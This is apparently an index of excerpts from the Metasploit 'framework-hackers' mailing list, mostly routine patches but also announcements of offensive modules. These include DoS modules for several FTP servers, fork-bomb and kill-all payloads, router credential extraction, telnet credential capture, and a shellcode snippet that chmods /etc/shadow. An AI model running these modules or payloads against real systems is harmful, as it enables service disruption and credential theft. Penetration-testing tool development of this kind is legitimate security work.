[framework-hackers] Linux/x86 IPv6 Stagers

27;$Revision$', 'Description' => 'Listen for a connection over IPv6', 'Author' => 'Kris Katterjohn <[EMAIL PROTECTED]>', 'License' => MSF_LICENSE,

[framework-hackers] DoS Module: WEBrick DefaultFileHandler

me: Ruby WEBrick::HTTP::DefaultFileHandler DoS Version: 1 Provided by: Kris Katterjohn <[EMAIL PROTECTED]> Basic options: Name Current Setting Required Description --- --- Proxies noUse a proxy chain RHOST

Re: [framework-hackers] New Auxiliary Module: robots

msf auxiliary(robots) > run [*] 208.65.153.253's disallowed entries: /profile /results /browse /t/terms /t/privacy /login /watch_ajax /watch_queue_ajax [*] Auxiliary module execution completed Thanks, Kris Katterjohn -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment:

[framework-hackers] DoS Module: Titan FTP Server 6.26.630

ng as test with password test... [*] Sending password... [*] Sending command... [*] Auxiliary module execution completed msf auxiliary(titan626_site) > info Name: Titan FTP Server 6.26.630 SITE WHO DoS Version: 1 Provided by: Kris Katterjohn <[EMAIL PROTECTED]> Basic options

[framework-hackers] [PATCH] Fix Exploit::Remote::Ftp handling for long banners

response" to the username (when it's actually from the banner), and then reads a 331 (the actual response to the username) thinking it's in response to the password sent. Thanks, Kris Katterjohn -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG w

[framework-hackers] DoS Module: Guild FTPd 0.999.8.11/0.999.14

mands... [*] Auxiliary module execution completed msf auxiliary(guildftp_cwdlist) > info Name: Guild FTPd 0.999.8.11/0.999.14 Heap Corruption Version: 1 Provided by: Kris Katterjohn <[EMAIL PROTECTED]> Basic options:

[framework-hackers] New DoS Module: XM Easy Personal FTP 5.6.0 NLST

iary(xmeasy560_nlst) > info Name: XM Easy Personal FTP Server 5.6.0 NLST DoS Version: 1 Provided by: Kris Katterjohn <[EMAIL PROTECTED]> Basic options: Name Current Setting Required Description --- --- FTPPASS anonymous

[framework-hackers] [PATCH] Fix another MsfGui strftime()

-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hey guys, I've attached a simple patch to fix another "%m" used instead of "%M" in a strftime() call in MsfGui. Thanks, Kris Katterjohn -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using

[framework-hackers] Simple Metasm Payloads: Fork Bomb and Kill All Processes

Bomb (Metasm) Version: 1 Platform: Linux Arch: x86 Needs Admin: No Total size: 40 Provided by: Kris Katterjohn <[EMAIL PROTECTED]> Description: This payload launches a fork bomb, i.e. 'for (;;) fork()' msf > info linux/x86/killall Name: Linux Kill A

[framework-hackers] New Aux Module: WR850G v4.03 router credentials

*] Found username "" and password "" [*] Auxiliary module execution completed msf > info admin/wr850g_cred Name: Motorola WR850G v4.03 Credentials Version: 1 Provided by: Kris Katterjohn <[EMAIL PROTECTED]> Basic options: Name C

[framework-hackers] [PATCH] Fix Exploit::Capture nil interface handling

all and it uses that instead. Thanks, Kris Katterjohn -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iQIVAwUBSOebAf9K37xXYl36AQIdJg//bYCGhCU8fKfEQeRgInCKpav96Cl1cleF qhOqoKNjbvZmwfdavQzGY7q6rVCk9o4a6MFTxjEAV2hT

Re: [framework-hackers] Proposed Metasploit Module Format Change

n updated. > Wow! I've immediately noticed Msfconsole loading up MUCH faster now! Awesome :) > -HD > Thanks, Kris Katterjohn -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iQIVAwUBSORi

[framework-hackers] [PATCH] Fix Rex IP socket comments

-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hey everyone, I've attached a simple patch to fix the comments in lib/rex/socket/ip.rb to say "IP" instead of "UDP". Thanks, Kris Katterjohn -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using

[framework-hackers] New DoS Auxiliary Module: WinFTP 2.3.0 NLST

.76 ( http://nmap.org ) at 2008-09-30 17:15 CDT Interesting ports on 192.168.10.7: PORT STATE SERVICE VERSION 21/tcp closed ftp msf > info dos/windows/ftp/winftp230_nlst Name: WinFTP 2.3.0 NLST Denial of Service Version: 1 Provided by: Kris Katterjohn <[EMAIL PROTECTED]&

[framework-hackers] [PATCH] Fix MsfGui log output time

-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hey everyone, I've attached a simple patch to fix the time printed in the MsfGui log output. Instead of printing Hour:Minute:Second (%H:%M:%S), it's been printing Hour:Month:Second (%H:%m:%S). Thanks, Kris Katterjohn -BEGIN PGP

Re: [framework-hackers] Proposed Metasploit Module Format Change

> > Thoughts? > Well, since nobody else is saying anything on the subject (on-list anyway), I think this change is great wrt the fact that--among other things--the class and directory paths don't have to match and there is less memory consumption. > -HD Thanks, Kris Katterjoh

[framework-hackers] [PATCH] auxiliary/server/capture/smtp: "POP3"->"SMTP"

-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hey everyone, I've attached a simple patch to correct the status message printed for logins in server/capture/smtp to print "SMTP LOGIN" rather than "POP3 LOGIN". Thanks, Kris Katterjohn -BEGIN PGP SIGNATURE- V

[framework-hackers] New Auxiliary Module: server/capture/telnet

s then sent for more realism (no password echoing on the client's end). After all of the credentials are captured, it sends "Login failed" and closes the connection. msf > info server/capture/telnet Name: Authentication Capture: Telnet Version: 1 Provided by: Kris

[framework-hackers] [PATCH] Fix multiple *read() functions

() or read() functions don't pass the correct arguments. Thanks, Kris Katterjohn -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iQIVAwUBR9XcFv9K37xXYl36AQL3eA//Xljjm/aCs2eH0dOSszekbFkFO9C2Ultx OJUT4mh/FK7bMdkcGLAWaA8qK

[framework-hackers] [PATCH] Add Ruby format option to msfpayload

LE=/etc/shadow "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63" + "\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00" + "\x59\xcd\x80\x6a\x01\x58\xcd\x80" Thanks, Kris Katterjohn -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment

[framework-hackers] [PATCH] Fix plugins/db_mysql.rb comment

-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hey, I attached a tiny patch to fix a comment in plugins/db_mysql.rb. My guess is that the db_sqlite3.rb was used as a skeleton for the mysql, but the comment was never changed. Thanks, Kris Katterjohn -BEGIN PGP SIGNATURE- Version: GnuPG

[framework-hackers] New Linux/x86 payload: chmod(file, mode)

on: 1 ~ Platform: Linux ~ Arch: x86 Needs Admin: No ~ Total size: 69 Provided by: ~ Kris Katterjohn <[EMAIL PROTECTED]> Basic options: Name Current Setting Required Description - --- --- FILE /etc/shadow yes Filename to chmod MO